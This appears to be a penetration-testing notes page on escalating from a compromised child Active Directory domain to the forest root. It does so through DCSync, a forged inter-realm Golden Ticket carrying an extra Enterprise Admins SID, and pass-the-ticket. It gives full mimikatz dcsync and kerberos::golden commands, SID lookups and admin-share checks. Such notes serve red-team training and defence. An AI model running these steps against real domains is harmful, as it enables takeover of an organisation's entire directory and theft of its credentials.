Exploiting domain trusts
Resources
DCSync attack
Kerberos notes
Additional domain trusts exploitation resources
KERB_VALIDATION_INFO
A structure where the
ExtraSidsfield is specified
Terminologies
Kerberos Ticket Granting Ticket (KRBTGT)
The service account for the Key Distribution Center (KDC) service
This account is used to encrypt and sign all Kerberos tickets for the domain
Golden ticket
A TGT is signed with the KRBTGT account's password hash
Thus, with access to this hash, we will be able to forge a TGT for any user of our choice
This ticket is known as a "Golden Ticket"
Overview of exploiting domain trusts
In this attack, we abuse the trusts between domains in a forest. A particular trust between a parent and child domain can be exploited to forge an Inter-Realm TGT that can be used to gain access to the parent domain (refer to the sections below for more information).
Golden Ticket attack
Refer to the "Terminologies" section above for more details on the Golden Ticket.
In a Golden Ticket attack, an attacker who has obtained the KRBTGT account hash for a domain can forge their own Ticket Granting Ticket (TGT) for any user of their choice. This forged TGT, known as a Golden Ticket, is signed with the KRBTGT hash, making it appear valid to the domain’s Key Distribution Center (KDC).
This particular TGT can be used to request service tickets (TGS) for any service as the specified user, effectively gaining unrestricted access within the domain (eg. Administrator).
Note that without domain trust relationships, a golden ticket crafted for a particular domain will only work within that domain. Refer to the Inter-realm TGTs section below to understand how domain trusts can be exploited to further our privileges to other domains.
DC Sync attack
Given that we have obtained administrative privileges on a machine, we can perform a DC Sync attack to recover the KRBTGT account password hash. The found hash can be used to create an Inter-Realm TGT to exploit any domain trust configurations.
Inter-Realm TGTs
Inter-Realm TGTs are used to provide access to resources in other domains. A two-way relationship between a child and parent domain can be exploited to gain full access to the parent domain (refer to example below).
Example
Given that have compromised a child domain A.DOMAIN.LOC with Tier 0 privileges. We can exploit the default bidirectional trust between the child and parent domain (DOMAIN.LOC ) to gain full access to the forest root domain.
Since there is only a single tree in the forest, the root/parent domain of the tree will be forest root domain.
Since we have Tier 0 admin privileges, we can perform a DC Sync to retrieve the KRBTGT password hash from our compromised machine:
mimikatz # lsadump::dcsync /user:<domain>\krbtgt
...
Hash NTLM: xxxx
...Inter-Realm TGT
Before we can create the Inter-Realm TGT, we need to retrieve SIDs for the following:
a. Child domain controller (eg. DC.A.DOMAIN.LOC), which we will impersonate in our forged TGT
b. Enterprise Admins group in the parent domain (eg. ROOTDC.DOMAIN.LOC), to be used as the extra SID in our forged TGT (more information below)
We can use the AD-RSAT Powershell cmdlets to retrieve the values:
PS> Get-ADComputer -Identity "DC"
...
SID: xxxx
PS> Get-ADGroup -Identity "Enterprise Admins" -Server ROOTDC.DOMAIN.LOC
...
SID: xxxxNow, we can craft the Inter-Realm TGT:
mimikatz # kerberos::golden /user:Administrator /domain:<child domain> /sid:<SID of child domain controller> /service:krbtgt /rc4:<Password hash of krbtgt user> /sids:<SID of Enterprise Admins group> /ptta. /user:Administrator : Specify that we are impersonating the Administrator user
b. /domain : To specify the child domain (the one we have compromised)
c. /sid : SID of the child DC that we have found earlier
d. /rc4 : Password hash of the KRBTGT user. This is the value we retrieved from the DC Sync attack earlier
e. /sids : SID of the Enterprise Admins group that we have found earlier
f. /ptt : Perform pass-the-ticket to load the ticket to memory
Essentially, we are exploiting the trust that the parent domain has with our child domain (via the bidirectional trust relationship enabled by default within the tree) to trick the parent domain into providing us with privileges of the Enterprise Admins group via the ExtraSids section (/sids) of the Privilege Attribute Certificate (PAC) KERB_VALIDATION_INFO structure, granting us administrative privileges over the entire forest.
Test the validity of our generated tickets
Now, we can perform a directory search on the child and parent DC to identify if we have generated valid tickets for the child and parent domains respectively.
C:\> dir \\DC.A.DOMAIN.LOC\c$
Volume in drive \\DC.A.DOMAIN.LOC\c$ is Windows
Volume Serial Number is xxx
Directory of \\DC.A.DOMAIN.LOC\c$
xxxxC:\> dir \\ROOTDC.DOMAIN.LOC\c$
Volume in drive \\ROOTDC.DOMAIN.LOC\c$ is Windows
Volume Serial Number is xxxx
Directory of \\ROOTDC.DOMAIN.LOC\c$
xxxxWe can confirm that our tickets are valid if we are able to view the directory listings.
Next, we use the generated ticket for the parent domain domain controller (ROOTDC.DOMAIN.LOC) to perform any actions of our choice.
Since DOMAIN.LOC is the only domain created in the forest, this makes it the forest root domain, which makes the domain controller (ROOTDC.DOMAIN.LOC) the forest root domain controller. This means that we now have full access to the forest root domain.
Last updated